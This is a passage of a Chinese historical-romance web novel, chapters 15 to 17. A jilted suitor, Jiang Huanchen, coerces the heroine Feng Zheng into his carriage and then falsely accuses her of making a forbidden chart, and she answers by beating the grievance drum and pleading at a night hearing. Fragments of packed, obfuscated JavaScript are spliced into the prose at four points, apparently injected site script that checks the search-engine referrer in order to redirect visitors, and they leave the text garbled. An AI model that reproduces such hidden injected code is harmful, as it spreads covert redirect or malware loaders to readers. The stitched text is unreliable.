;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冯筝拉起云雀衣袖，边走边解释，樊楼揽客的阵仗这样大，今夜一过，百官图被诟病是迟早的事。 如果站出来破题的不是高豫，换句话说，如果破题人炫耀着夺魁，一时没有看穿猫腻，不但捧场的学子们要遭殃，就连已经殒命的高相，也得在言官们的奏劾上滚一遍泥。 云雀似懂非懂。 冯筝静静望向楼宇喧嚷处，似乎能看见，不久后，闹得满城风雨的图纸捅到皇城，官员们品咂一遍，顺从民意，抵制罪臣功荫这一条恩典，高豫以后，复官复荫就更难了。 金科玉律，对死囚尚留有宽余生机，却唯独不能宽赦，一个根基已毁的无辜臣民。 察觉这幅图的恶意，意在高豫而非高相后，冯筝再听儒生抗辩，禁不住想到，他们的清誉是保住了，高家却凉得更透了。 视野乌泱泱一片，粗粗望过去，满眼都是幞巾软裹。 高豫站在熙攘处，灰色兜帽遮住他额头，脸颊的轮廓隐在阴影中，役使被逼急，突然厉声盘问，破题者到底是何来历，他就转过这半幅容颜，缓缓朝她看来一眼。 这一眼说复杂复杂，说纯粹也纯粹，好像一个寻常的回眸，随口问一问友人见解。 完全没在意，距离钦差宣谕才过去不久，这时候自曝来历，就是真的给自己招黑。 高豫缜密圆融，做不出自伤颜面的事，冯筝深信此理，却隐隐觉得一阵不安。 她就摇头示意不能讲，不准讲，直到瞥到一只手，蓄意揭露他的全貌。 冯筝瞳孔缩住，尝试唤醒他注意，偏他纹丝不动，一如既往的宽和从容。 那只饱含恶意的手越来越近，暗暗触碰披风一角，咫尺间，突然被展青一把掐住。展青推开作祟的仆役，高豫回过身，胡驹进拱到面前，憋不出话，又毕恭毕敬地垂首挪开。 儒生们察觉这边动静，料定捉住把柄，语气更甚，“问不出解题人来历，樊楼就要出阴招害人？” “就是笃定我们寒门学子没有背景，所以想要趁机欺压！” 赛事前，大多数人都自报了家门，对胡驹进有印象，眼见胡驹进来到青年身边，态度恭顺孝敬，便都当高豫是他旁支疏属的族兄，再也没有多余的想法。 他们逼樊楼供出始作俑者。 “樊楼制出这样的禁图，却一再撇脱责任，那你们倒是说说，这图究竟何人绘编？” 这图究竟何人绘编，役使也答不出个所以然来，东家迟迟没出面，他只能灰溜溜离开，专程去请。 回廊幽深，楼道曲折，役使走得跌跌撞撞，叩开一道虚掩的门，他罔顾礼数闯进去。 “东家，平仕图有问题！” 董余昉僵握着酒杯，惊疑看向对面，对面背影细微一动，江涣臣拧身，转过一张茫然且疑惑的脸来。 15. 第15章 董余昉吩咐役使把图撤掉，临时换上花鸟绘遮丑，役使把门关拢后离去，董余昉再也没有闲情喝酒。 他拂袖而起。 “照他所说，那名破题者声韵章挺，循循引导众人思路，没把樊楼捅出个窟窿，定然不肯善罢甘休。江主顾你如实讲，这图到底出自谁的手，竟要如此刻薄于我？” 编撰曲折仕途的方式有很多，一旦剑走偏锋，设以劣迹攻其品行，性质可就完全变了。董余昉按住桌沿，向图纸的先手人讨要个说法，完全没想到，江涣臣同时拍案而起。 “我倒要先请教你樊楼，交易的银两早就结清，拖到我启程当天才把图挂出，这是把我摆了一道？” 董余昉嘴角抽搐了一下，想要昧掉图纸的私心，早在役使讲明惊险时就已经荡然无存，此刻被点破，没敢再把怠慢的话挂在嘴边。 满室俱静，江涣臣按捺着一股躁郁。 出于偿清以前欠的人情债这一考虑，告假前他受朋僚所托，答应把图带回宣城，当时没问意图，事后又只管照章程去做，自然不知道，这道藏题图，背后竟然在杜撰朝纲。 “我相中樊楼办事，只是一点偶然因素，令樊楼蒙难，顶多算是误伤，而樊楼招来能破题的人，没打响名声反倒被搅局，只能说明你不走运。我和你没过节，没道理要刻薄于你，这就把自己当成靶心，未免有些太看得起自己。” 这话不算友好，和此前把酒言欢时两副面孔，董余昉还要理论，却被江涣臣一句话堵住了喉咙。 “借书吏，挂禁图……官府对官员经商限制严格，董大人与其在这里担忧挨儒生的骂，不如想想，这事若传到衙门中去，如何向学事司交差才更要紧。” 塾馆俸薪微薄，以前他倒卖典籍，换一些钱来贴补家用，学事司诸位都略知一二，但接掌樊楼之事，他还未曾向上峰报备。 想到樊楼被查封事小，影响官籍可就糟糕，董余昉赶忙翻出笔墨，“我这就写自理书交待实情！” 他急得乱了阵脚，酒杯酒盏碰落一地，蘸了墨的狼毫刚戳到纸面，就被江涣臣一把攥住了笔杆，江涣臣暗斥愚钝。 “你这时候写自理书，胆敢写它一个字，连篇累牍就都是错。” “那怎么办？” 董余昉掬一把辛酸泪，寄希望于江主顾替他摆平一切，江涣臣把人扶稳站定，端得一身修养无边。 “我借用宝地所付租钱，够你挥霍好一阵了吧？” “你散些家财赔个不是，平了那群儒生的怒，给足他们脸面，多少能纾解眼前困境。你在学事司执事，若被衙门查办，官府的威望也要受影响，所以只要事情不严重，他们只会轻拿轻放，至于你擅自经商而瞒报，等到这幅图淡出视野，相信以上级雅量，不会跟你计较这些。” 董余昉感觉被安抚到，一时也没有更好的主意，只能吩咐役使们拿赏钱赔礼。 江涣臣推开窗，任由夜风吹散胸中躁郁。 这座雕梁画栋的楼宇，哪怕是一根梁柱也修得气派，江涣臣一路走出去，却连一个眼神也没停留。 出城的车驾就停在桥头，告别这座城只在片刻之间，江涣臣视线向远处抬动，空荡荡的脑海里，短暂闪过一丝留恋。 他是抱着期许回来的，指望她能跟他惺惺相惜，就连薄情退信，也指望着，或许能等来半句挽留。到那时，哪怕仍面临亲族施压，他也能再想想办法从中转圜。 但她只是有样学样地退来了书信，让他彻底明白，这桩婚约有缺的亲事，至始至终，努力争取的只有他一人而已。 江涣臣朝桥头走去，小厮快速尾随，一面掀起车帘，一面把在儒生堆里看到冯家婢女的事情告诉郎君。 江涣臣眼瞳一动，狐疑地问，“这种场合，你确定没有看错？” “那婢女眼宽颈细，很好辨认，小的绝不会看错。”小厮笃定道，尝试自圆其说。 “前阵子冯姑娘去香积寺进香，陪同的就是她，貌似叫云雀，此刻想必也是陪冯姑娘来。冯家要和碧城某大户联姻，消息传得有鼻子有眼，樊楼里又多是男子，她们主仆出现在这里，定是相看准郎婿来的。” “郎君对她牵肠挂肚，她冯家倒是撇脱得快，这么快就把闺女许配了旁人。” 江涣臣撤回腿，刚欲躬曲的腰缓慢挺直。 夜色如一幅脏浓妆面，抹在他脸上，衬得他面貌晦暗幽深。他远眺对岸莹莹灯火，找到某辆眼熟的车辇，偏过头，吐出一句话。 “去请冯姑娘下轿，就说我今夜就要动身回京，远途寂寞，前来请她送我一程。” 察觉郎君脸色不好，小厮悻悻住嘴，担忧郎君意欲何为，“可是这样晚了……” 江涣臣命令道，“从速。” 戌时将近，沿街商贩越来越稀疏。 绫桥连通东西两街，不远处某家摊商前，云雀把一包蓉豆糕塞进车辇。 “姑娘，那江府的小厮现在还守在桥头等回话呢。”云雀稍稍瞟去一眼，“我们真的要送江郎君出城吗？” 冯筝翻出一块蓉豆糕填饱饿意。 这趟出门见过了胡郎，一个照面足够交差，就是不知道，何时被江涣臣捕捉到了行踪。 冯筝想了想，算进赏灯夜听他解释那一遭，生平第二回对江涣臣慈悲。 “他也说了，即刻就要动身走了，我答应最后送他一程，也算给过去的自己善始善终。别担心，像他这样的仕子，把清誉看得比什么都重，只要我们不正面硬刚，他不会拿我们怎么样的。” 绫桥红绸连绵，江涣臣远远走来，临到跟前，正逢听到这样的话。 人家做姑娘的都对他放心，他身边，一个小厮竟还顾虑重重，江涣臣感到可笑。听到连曾经嘴甜喊他准姑爷的婢女，也跟着对他改了称呼，江涣臣轻微遗憾了一下，随即开口请冯筝下轿。 青年涵养依旧，站在五步开外的地方等她露面。 她鬓戴碎珠花，罗裙压玉绶，江涣臣再平静，也禁不住猜疑她准郎婿究竟何许人物，竟劳她用这样花枝招展的方式讨他欢喜? 云雀及小厮在原地等待，他们则顺着绫桥返回，一路送到车驾跟前，江涣臣递出手腕借力，摆明还要请她登车。 冯筝含笑婉拒，搬出提前拟好的腹稿道别，“事已至此，咱们能说的话也都说尽了，以后你我一别两宽，就祝江郎君前途无量，和廉姑娘做一对恩爱伉俪。” 江涣臣很失望。 “阿筝，不看僧面看佛面，你对我不赏脸也罢，连慧娘也不在意了吗？” 他面朝车帘安慰，“慧娘，别难过了，冯姑娘在这，出来见见。” 心头微微凝动，她撩起车帘给江慧织致歉，迎面只有空荡荡的内壁。反应过来被诈的瞬间，她迅速要撤，偏被一股大力推进了车厢，她挣扎闯出，一人捞过她胳膊往车厢里按，迎面捂眼。 黑漆漆的对峙中，冯筝薅住他衣领，“江涣臣你发什么疯！” 衣领扯乱，露出一寸白花花的锁骨，江涣臣丝毫没觉得羞耻，贴心替自己把衣襟掖好，再追究她答应送行却反悔的事。 然而话到嘴边又打了个转，“你衣裳上什么味道？” 或许是在樊楼凑热闹时，偶然沾到的脂粉味。 冯筝拂开眼前手掌，想到青年男子多不喜脂粉，早知有此劫数，她恨不能往脂粉香腻里滚上一圈，好叫他倒了胃口离她远些。 他漆黑的影子压在车壁，随她擅自起身而倒退，江涣臣坐起来，吩咐侍从驱车到城门处，淡淡威胁。 “你那名婢女还在我小厮手里，若不想她遭遇不测，就安安静静陪我一程。” 两年书信来往，冯筝摸清过他的脾性。 谅他不敢胡来，便刻意挪开半尺的距离，一心算着抵达城门的路程。 她的安静敛然，在他看来是一种柔弱钝感，坐实了逆来顺受的性格，却没想过长辈面前，她愿意接纳一切安排，除了逆来顺受，也可能是她懒得算计。 冯筝恰恰是后者而已。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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青色绦带束她细瘦的腰，鼓面比她宽阔太多，鼓架红漆斑驳，废置太久而成为摆设。硬山灰檐顶撑起夜幕，她背悬鸣冤鼓而立，横眉竖眼地扫过来，增添一抹惊蝶掠水的冶艳。 江涣臣提步上前。 “前年腊月十一，你问我粥可温，嘱咐我莫食残羹剩饭，早些去膳堂抢热饭吃。” “去年城隍庙石榴繁盛，你问我是酸是甜，我便翻墙盗得一二，第一手即寄给你尝鲜。” “你学着其他女子嘘寒问暖，仿照她们体贴的模样给我关照，哪怕依葫芦画瓢，也总是学得不到位，字里行间，看不出半点情意缠绵。刚刚我透露出，在京期间，我与廉春棠已然暗通曲款，你连一点拈酸吃醋的想法都没有，足以见得这段关系走到尽头，你仅仅只是付出了时间。” “唯独我在黯然神伤。” 江涣臣微微阖眸，再抬眼时笑意浓稠。 “冯筝，你是个不折不扣的纸美人，没想到怨怒起来竟显得生动。你我婚事告吹，是我轻信失察，我不怪你，你不陪我返京，我也不是非得强求。只要你照顾一下我的颜面，半年后再另行议亲，待我和廉春棠完婚，我便答应你，婚丧嫁娶，各不相干。” 自打看清他满腹算计时起，冯筝便不再相信他任何说辞。 江涣臣还欲上前，冯筝攥起鼓槌。 “站住，衙门重地，你岂敢再往前一步！” 她要敲登闻鼓，要告他的状，江涣臣轻轻一笑。 “你敢吗？” “大庆海晏河清，早已不是民告官者反倒要先挨一顿板子的世道，我清白家世之女，却险些被强做妾室，朗朗乾坤受此大辱，我有何不敢？” 说完扬臂一挥，鼓槌震得虎口发麻，但她根本顾不得手腕酸胀，奋力敲响那面鼓，因为她知道，身后的人已拔步逼近。 鼓声疲弱渐强，从寅恭门波及榜房科房，惊醒一路熄暗的灯。一阵极其漫长的死寂过后，无数黑影闻讯而动，刹那间如乌鸦过境，兵鞘铮鸣间，附近百姓秉烛窥探。 皂班的差吏推门而出，在堂官“击鼓者谁”的威问声中，冯筝丢下鼓槌就要陈情。 江涣臣先一步挡开，拱拳跪禀。 “末官太常寺奉礼郎江涣臣，状告塾馆冯承琨之女冯筝私制禁图并售卖樊楼，意图辱蔑朝纲，离经叛道！” 16. 第16章 冯筝没有在昭威堂逞能动武的胆魄。 也没有糊涂到在审官明令“堂下者跪”时，还只顾着质问江涣臣脸面与廉耻何在。 她结结实实跪了下去，抬起一张冷静的脸，望向匾额前的黑袍堂官，道一声容禀后替自己辩解。 “大人容禀，民女含冤莫白。” 四周衙役林立，匾前官威如山，理智告诉她现在讲冤是最好的选择，但那股被人戏耍多次的怨怒，还是使她偏过眼睛，满含费解地问。 “片刻前，江郎君说想赠我刑书乐籍，我说对乐籍不感兴趣，你拉拢我不成，所以现在就对我刑律伺候。” “若当时我讲对刑书不感兴趣，你是不是就要用乐籍招待，逼我到乐坊，陪你一起赏弦听曲？” 这时候还记得嘲弄他，江涣臣笑出声来，称赞她口齿伶俐，可惜伶俐劲用错了地方。 正要编出个合理的名堂来颠覆罪责，钉死关于她的“有罪推断”，就察觉堂前审官，因为她这副说辞而发生了动摇。 郡守年事已高，断狱决讼的差事便递级落到郡丞手中。郡丞凝神，细纹簇拥着一双凌厉眼眸，在江涣臣启齿的同时敲响了镇尺，打断两人未尽的话。 “衙役已经前往取证，今夜起，郡衙里就得多一卷案牍，你等谨记，典史官一旦落笔成字，任何诬告都要付出相应的代价。” 按照登闻鼓制度，状鼓一响，无论昼夜都得列班登堂，并由典史官记录盘诘过程。 踏出郡衙接状前，郡丞想着，他辛苦耕耘了一年的太平，不能简单栽在这样一则纠纷里，但当青年人喊出“辱蔑朝纲”，姑娘家回敬“逼良为妾”后，脸色顿时变得铁青。 何谓禁图，何谓辱蔑朝纲，和逼良为妾这种典型案情相比，情形过于模糊，更需要细细甄别才行。事发突然，衙门还没来得及掌握任何证物，郡丞聆听辩词，便特意多花了门心思判断。 登闻鼓设立多年，见证过许多荒唐的事。苦主击鼓报官，惹得恶徒恼羞成怒，反被恶徒攀咬一口的情况曾经就存在；有人为遮掩罪过，主动击鼓鸣冤，靠博取怜悯的手段诬陷报案者的事情也可能发生。 冯筝的嘲弄话，给此案提供了一段前情，江涣臣近似默认，郡丞看出疑点，判断向前者靠了靠，这才敲响镇尺，提醒诬告者需三思而行。 江涣臣停顿住，神情依然没什么变化。 冯筝没回答，睁全一双疲惫且酸胀的眼，对同样跪立着的青年，比起唤醒他的良知，选择跟他撕破脸面。 “郎君说我私制禁图并售卖给樊楼，什么离经叛道，又涉及朝纲……郎君对这些知道得甚详，我反倒要请教，现在挂在樊楼里的那幅图，儒生们连头绪都尚且理不清，江郎君怎么就推断得如此详细，就这么肯定，沾惹不到朝堂事的我，有能耐完成这样大的鸿篇？” 她腮颊绷紧，眸若映漆，把被打断的状告弥补完整，“民女冯筝，家住宣城砚巷，一告太常寺江奉礼逼良为妾，二告其亵渎我不成，欲挟私报复，假借樊楼的过错栽赃于我，请大人明鉴。” 于是镇尺撂案，堂官接道，“好，那就把逼良为妾之事如实道来！” 两端衙役黑衣劲装，哪怕训练有素，遮掩声息，那些肃整的森冷的，或视线或余光，落在她伏低的腰肢上，令刚刚还振振有词的她，短瞬间还是难以启齿。 地面很凉，寒意浸透裙料，密密实实扎进膝盖，冯筝微微打颤，江涣臣便是此刻起了身，无视堂威伸出了手。 冯筝敏捷躲开，他扶她而起的动作落了空，迎着镇尺急响声，江涣臣被衙役按回原地。 “你宁愿跪在这里忍辱负重，也百般不情愿跟我挨边，试探一点和解的机会。” “你控诉我的错处，指责我要对你挟私报复，却不去想我赌上前程陪你过讼堂，可能只是想逼你向我服一次软。” 在这之前，他对她的逆来顺受觉得碍眼，对她随意接纳新的婚事而感到不平，相对的，便也自信他豁出许多，必能得到她的示弱。 没想到最后等来她弃如敝履，等来自尊破碎一地。 隔着皂袍如堵的缝隙，他转来视线，语气失望透顶。 “看来之前种种表达心迹，我说我如何黯然神伤，冯筝，你是一个字也没听进去。” 一顿致命的发言，使在场堂官面面相觑，但他丝毫看不出怯懦，眼底神采悲悯而抖擞。 说实在话，搬出禁图压制她，原是临时起意的自保手段。 然而她爹和董余昉出自同一个官署，关系藕断丝连，以他对禁图的掌握，未尝搬不出比胡诌更令人信服的证词，钉死关于她的“有罪推断”。 先前把握着限度诬告，不过是在等她服软，眼看关系彻底闹僵，自知不能再心慈手软，江涣臣默默清嗓，打算做出应对这时，一直神情难辨的郡丞，摆手示意衙役回避。 “冯姑娘击登闻鼓再先，她欲先提出抗辩，理应满足她，便容她把证词说完。” 两排衙役接到授意，一致转鞘背朝审堂。当猜疑的影子反转成护佑，流连在背上的芒刺顿时消散，冯筝浑身一松，抬腰定眸，把险些被欺辱的始末娓娓道来…… 堂院皎月悬霜，云雀双眼通红，揣着一包蓉豆糕焦急地等。 距离被守卒阻拦在这里，已过去半刻钟，怀里蓉豆糕早就凉透。云雀正纠结，要不要先回府报信，就撞见冯筝和江涣臣先后走出。 云雀跑过去，握住她的手，声音颤栗，“姑娘失了踪，奴婢本来就是要报官的，所幸姑娘安然无恙。” 在云雀接到自家姑娘的同时，江家小厮也赶到了郡衙。 眼盯江家主仆渐渐走远，云雀扫去一记窥探的眼神。 冯筝唤回她的注意，“你没事就好。” 被守卒阻拦这么久，云雀已经得知一切，脑袋乱糟糟的，“奴婢能有什么事？” 冯筝脸色不太好，既出于被江涣臣蒙骗，也出于他的诬陷栽赃。 她表面冷静，实则早就惊疑于他对百官图的猫腻信手拈来，是否意味着，他就是编纂此图的始作俑者。 或许他们一样，都只是片刻前破题局的旁观者之一，又或者他与制图者确实颇有渊源，这些她通通来不及细想。 她唯一坚持的是，既然想用禁图耍她一招，那就让他如愿好了，要让他知道，他有在堂官跟前自报官职的底气，就要时刻做好遭殃的准备。 冯筝胸有成竹，谁知云雀的问题就把她难住。 “姑娘，大人接了状子没？” “……我还没来得及写诉状呢。” 讲到这里，冯筝声音酸酸的，“昭威堂两旁站着的，是寻常捕吏而非杖官，那审官拍案用的不是惊堂木，而是压纸的普通镇尺。他们态度这样敷衍，谁知道有没有把我们当一回事。” 云雀轻轻地瞭，“姑娘，衙门都是白日升堂，哪有大晚上就对簿公堂的道理？” 冯筝微微一愣，抬手按了按额角，“哦，是我气糊涂了。” 比起登闻鼓前，被他捷足先登时的惊怒抓狂，她此刻情绪已经平稳很多，不过她根本松懈不起来，算算时辰，做客碧城的双亲们就要回府。 “回去拾掇拾掇。”冯筝拉住云雀，快步往回赶，“除了祖父那里先瞒着，要准备敬两盏安神茶了。” 或许是云雀把安神茶的料下得太猛，让本来占尽道理的她莫名感到心虚。 又或许是二房一路舟车劳顿，母亲敷粉也没遮住的疲惫，令她疼惜他们辛苦。 冯筝当晚什么也没讲，阖府拥有了一顿好眠。 隔天把昨夜发生的事一股脑告诉双亲，冯承琨起先绷着没动，眼角硬生生挤出皱纹，然后叫仆妇去收拾蒲团，方便大小姐到戒律堂罚跪。 冯筝就适时掏出连夜写好的状纸，借口抽身。 “郡丞大人说了，让我今日就去递呈诉状，我知道爹抹不开面子，可江家的郎君欺辱我又诬陷我，如此恶贯满盈，总得让他吃一顿官司。” 一掏出状纸可不好，冯承琨双眼鼓瞪，哪怕提前被孟氏提点过，对待亲女要温柔些，还是忍不住斥责。 “我罚你就是想要给你禁足，你一个未出阁的姑娘，怎么好意思去郡衙里面亲自过堂？” “不说他强抢良室女做妾没有得逞，只凭你一纸证词无法定罪，就说衙门届时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冯公点点头，“登闻鼓的动静满郡衙都知道，你伯父已经捎信给我，我思量再三，认为这件事里，没有谁非得豁出去脸面。” 冯公扭头叮嘱冯承琨，“你现在就去郡衙找你大哥，让他想办法跟郡丞商量，对簿公堂的时候，能否不公开审理。” 他这么做理由有二。一则此案事关女子闺誉，申请无关人回避合情合理，二则冯承纲是郡守佐吏，郡丞没理由拂他面子，冯承琨连连应下，这就出门安排此事。 等待结果的期间，孟秋把冯筝带进暖阁里说话。 “可惜胡督学保媒结束后就已经回京，否则咱们腆着脸请他出面，也比你伯父去周旋更有胜算。” 孟夫人轻轻叹息，突然想起回府当晚，她曾问起女儿对胡郎君印象如何，还记得那时她便心不在焉，现在前后圆起来，也想通了她是被江家那厮惊扰到，所以才会心神不宁。 冯筝也没闲着，把昨夜她和江涣臣相处的详情细细道来，坦白江涣臣欲软硬兼施，对她不完全都是威逼。 孟夫人察觉隐情，语出猜疑。 “他求你半年后再议亲，并许诺不再胡搅蛮缠，话里话外，都意在让你比他未来妻眷晚一些出阁……所以阿筝，你真的不懂他的深意吗？” 冯筝没有正面回答，眼底神色变换。披毡填絮宣软，她不自主拢了拢薄毡，就听到母亲立刻安慰她道。 “你拒绝得没错，管他打的什么算盘，只需知道，咱好端端一个清白人家，没有给他守贞的道理就够了。” 孟秋试着转开话题，误以为女儿心情感伤，尽量不触动她的难过处，手指突然被人握拢，冯筝摇摇头，睁起明镜一般剔透的眼。 “他曾责怪我，这段关系走到尽头，我仅仅只是付出了时间，很遗憾当时没有回答，细细想来，也决定未来不可能回答。” “寄给他的每封书信，都是由我亲笔书写，既不曾誊抄他人笔墨，也不曾请教旁人润笔。我自认为花费的心思拿得出手，他却轻视我的付出，一而再再而三轻贱我的时间，从未想过，对一名待字闺中的女子来说，青春到底有多贵重。” 冯筝一字一顿，残辉西沉，把影子烘出一圈圈钝晕，这一天，被动的等待终于要落幕。 “他不理解我的付出，就像解释谣言时，我不理解他的苦衷。他要刑律伺候我，污名埋没我，如果这些都不能证明，他对我的恶意远胜于善意。” “枉费我读过三年儒经，善恶曲直也分不清。” 17. 第17章 登闻鼓敲响那夜，江冯两姓在讼堂过了遍招，官差闯进樊楼的时候，那幅被用来遮丑的花鸟绘到底没能李代桃僵。 平仕图被指证禁图，官差以疑似罪证的理由没收，宽阔的图幅卷进匣盒，幅面织料轻薄，倒也没有看上去那么沉重。 黑黢黢的官差来得快去得也快，而被“江主顾”安抚得还算服帖的董余昉，或者说，刚刚散了银两，平息了儒生们嘴仗的董余昉，对郡衙出动之快直觉得匪夷所思。 他腮帮咬紧，依然相信江主顾那副说辞，认为官府应该轻拿轻放，不应该这样正经才对。 会惊动官府主动来查，肯定已有人先捅到衙门。董余昉没空管，是哪个混球走漏的风声，只是控制不住地惊惧害怕，唯恐牵连妻儿，索性宿在了樊楼厢房，等一切尘埃落定后再做打算。 第一夜很安详地过去了，第二夜，他毫无疑问地做了噩梦，梦到巡检司的官兵捉拿他问罪，他不停喊冤，他们青面獠牙，喊一句冤就扎他个窟窿。 董余昉浑身是汗，惊醒时看到帐幔纷飞。 薄而透的灰帐裹着烛影翻滚，后半夜的风闯进睡前关过一遍的窗，把湿汗黏腻的衣领吹干，他刚欲睡下，瞬间睁眼。 寒意顺着脊背攀到头皮，他颤颤巍巍走出床帐，掏出火折子，点亮全部灯盏。 薯藤芯烧出热屑，点点金红洒落，一人踩着金屑接近，闯进他回头的视野里，豁然间如金相玉映，露出和粗布袍极其割裂的贵重感来。 董余昉大惊，“什么人，深更半夜的来做什么！” 没等做出抵抗，缀在高豫身后的展青越步，把一块腰牌怼到他面前，拇指挡住睦州二字，“观察司押司副处置使”一行注释，在董余昉眼里扩张成满瞳。 连随从都是副使级别，主子是何等权要可想而知。 董余昉慌乱，不记得自己何时竟招惹到观察司这群煞神，观察司设立地方治所，最近一座也远在宣州府，想想只能是禁图的错，赶紧推给郡衙挡灾。 “大人，藏题图不是我的，卑职在学事司勤勉朴素，一时财迷心窍才给它安排了排面。要知道藏题图已经被郡衙拿去，他们捉拿了谁又冤屈了谁，和我没有一点关系，大人们负责勘察纠错，要治罪也不能治我的罪啊。” 说完噗通一声跪下，为首的男人扶住他，声音静谧和煦，却字字懊恼憎恨。 “……他们欲设局困住我，请愿奏杀我，你作为他们相中的帮凶，难道就没有半点错处？” 董余昉瞳孔骤缩，传闻权臣关系错综复杂，猛然听到这些，以为踩进了上层圈流争斗的漩涡，深谙知道越多死得越快的道理，抢过话题，立刻撇脱道，“不是这样的！” “江……主顾说过，他相中樊楼办事纯属偶然，让我蒙难都是误伤，错就错在我不走运，还叫我别太看得起自己……” 高豫不满，见他还欲隐瞒什么，出声打断，“编，继续编。” 董余昉这就说不出话了，展青甩出剑鞘一推，亮出一寸雪白刀刃，剑意擦着他脖颈而过，被高豫出手挡在毫厘之间，董余昉差点丧命，心理防线终于崩塌。 定定吐出一个名字，那雪白的刀刃立刻收鞘，凛冽锋利划破空气，远在江府书房，揽灯静坐的江涣臣，脖颈突觉一阵寒凉。 丑时三刻，董余昉哄服自己熄灯就寝。寅时时分，冯筝梳戴整洁，在蘅娘子的叮咛下又温习了一遍讼堂的规矩，然后去郡衙对簿公堂。 郡衙明刑弼教，堂门之前还有申明亭等，百姓堵在这里围观，官府声称不公开审理，把他们远远挡在申明院前。 冯筝提裙走上石阶，在离昭威堂还有一段距离的地方驻足回首，她戴着帷帽看不清环境，不过单听儒生满腔不平，就能猜到他们对此事意见很大。 儒生做得出一手锦绣文章，也擅长讲一口堂皇的道理。 他们主张旁听，大多冲着禁图案而来，说不能因为它和逼良为妾案并案同审，就把他们的知情权也排除在外，殊不知，禁图案能否单独成案，取决于今日过后，诬陷罪责能否成立：结果不同，影响此案性质层级，审理机构便也不同。 冯筝和江涣臣已经各呈诉状，很难想象，她只是在樊楼围观了一场题局，就把自己赔进去了。 百官图的恶意意在高家余嗣，她和高家沾亲带故，就凭这层一损俱损的关系，她也有把握摘清自己的嫌疑。 然而，也就只够摘清嫌疑，更进一步她就云里雾里了。 冯筝思绪飘远，想过制图者面貌，可能是针对高家的权佞恶吏，朝堂关系错综复杂，远不是她一个郡吏之女能窥破的。 站在制图者设的题局里，迷瞪得就像隔雾看花，但偏偏眼前天光醒亮，给了她一丝窥破的错觉。 拨开迷雾后就是风烟俱净，她便伸手，拨开帷纱，人群陆续朝这边望来，一只手突然制止了她。 高豫的手温暖干燥，他笑意盈盈，仿佛出晴的某天散散步，遇到她走神，就纯粹想来搭一把手。 “别看了，人言可畏，当心受难。” 帷纱重新垂下去，他的面孔便也被这雾色遮掩，她又听到他问，“这奉礼贼的案子，你打算要如何处理？” 突然提起这些，冯筝怔怔看着他，仿佛还没反应过来，“奉礼贼”形容的是谁。 但这些都是次要的，重点是她清楚地知道，据她曾经察言观色，高豫在樊楼招摇搅局，充其量是给儒生们撑腰，以及给她一个回应，而他本人，本来并没有对峙的想法。 高家势单力薄，不是适合跟背后恶吏硬碰硬的时机。对于高豫来说，当夜事毕，他确实打算静观其变，或者高高挂起不做理睬，直到登闻鼓的动静传到耳朵里，他突然间就改变了主意。 她不回答，高豫也就放弃追问，“没关系，反正能够亲眼看到，也不急于这一时半刻。” 他转身向前，“冯姑娘，准备好了吗？” 高豫手腕微动，走之前轻轻带了一下她的袖沿，受轻微引动所感，鬼使神差的，她就跟随他朝讼堂走去。 百姓被拦在申明亭外，官府对高豫的宽容就显得有点宾至如归，儒生们不满，衙役也不满。 “闹什么，那是冯家家眷，冯书曹的妻舅子。” 维持秩序的衙役逮住挤得最勤的那个人，一顿臭骂，“你往前拱得这样殷勤，说说看，你又是公堂上两家谁家的亲戚？” 姨舅给甥女撑腰，叔婶给侄妹坐阵，是民间打官司常有的事，这种亲属陪审的俗例挑不出错，人群闻言没有意见，被逮着领子的儒生也无话可说。 云雀蹬蹬跑出来，把高豫的话听了个全，声音难掩欣喜。 “姑娘别再耽搁了啦，有大爷护法，高郎君撑腰，里面还有奉礼贼陪跪，姑娘进去就不怕会冷清啦。” 过讼堂这件糟糕的事，竟被她形容得无比热闹，冯筝扑哧一声笑出来，拂开帷帽，就撞见高豫含笑回应。 他的笑容常常宽和，像春风拂过雪原，出于身世遭遇的缘故，又带一些赛雪欺霜的凉。 展青站在榆树下，这就想起浓稠夜幕里，他也是噙着这样的笑下“驱逐令”，给他鞍前马后的伴驾收出结尾。 “你透支假期护我回宣州，这一趟奔波，所谓恩情已经还清，我的路还很长，我想我能自己走完，同样的，你的前途也不止于此。展青，回司衙去，我已写信向王尊使澄清，回去以后，你就在睦州好好生活。” 昨夜他们一通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江涣臣爱惜仕途，不可能把坏事做绝，更何况审官这边，能许的通融都默许了，冯承纲自信打点好一切，出了衙堂没直接离开，到寅恭门外的榜房里等消息。 听榜房的人说，江涣臣瞒着家里，只带了小厮过讼堂，冯承纲轻哼一声，暗道“算他知羞知耻”。 衙堂角门后，有衙吏悄悄送出东西，走到冯家人这边说了些什么。 郡丞拍响惊堂木，冯筝稳稳走上前，前阵子跪也跪过了，无所谓去矫情些什么，谁料眼前一晃，蒲团递到了腿边。 高豫颔首示宽，施施然让开主场。 料想昨晚蘅娘所说，郡衙的“通融”就在这里了，冯筝准备礼跪，双膝刚刚抵住柔软，突然就觉得自己糊涂。 高豫从刑部狱京部衙全身而退，她若有点先见之明，请他传授刑辩经验，岂不比麻烦阿伯抹开面子，求一点小恩小惠的通融更有胜算？ 蒲团绵软，替她减轻了跪姿的苦，这样区别对待，江涣臣倒没置喙什么，小厮却先站出来挑刺。 堂前昭雪二字的匾额锃亮，冯筝睫羽振振，赶在小厮张口之前，一把抓住了高豫手腕。 话虽然是对高豫所说，眼神却直面堂前审官。 “三郎君，还请帮我把蒲团归还。我受苦事小，若让我的破例，影响刑律威信，影响律法公正严明，让它惩奸除恶时有失偏颇，莫说我会难过，外面的百姓也绝不会放过。” 